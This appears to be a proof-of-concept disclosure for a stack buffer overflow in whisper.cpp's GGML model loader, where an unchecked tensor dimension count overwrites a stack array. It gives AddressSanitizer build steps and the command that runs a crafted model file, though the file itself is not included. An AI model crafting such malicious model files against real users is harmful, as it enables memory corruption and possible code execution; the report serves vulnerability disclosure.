# PoC: Stack Buffer Overflow in whisper.cpp GGML Parser

**Format:** GGML (.bin)
**Target:** whisper.cpp (ggml-org/whisper.cpp)
**CWE:** CWE-121 (Stack-based Buffer Overflow)

## Vulnerability

Stack buffer overflow via unchecked `n_dims` in tensor loading. `n_dims > 4` causes writes past the `ne[4]` stack array with attacker-controlled values. Potential RCE.

## Reproduction

```bash
git clone https://github.com/ggml-org/whisper.cpp && cd whisper.cpp
mkdir build-asan && cd build-asan
cmake .. -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
  -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer -g" \
  -DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address,undefined"
make -j$(nproc)
./bin/whisper-cli -m ../poc_stack_overflow.bin -f /dev/null
```

ASAN reports: `stack-buffer-overflow WRITE at whisper.cpp:1885`

**Tested:** whisper.cpp commit 364c77f4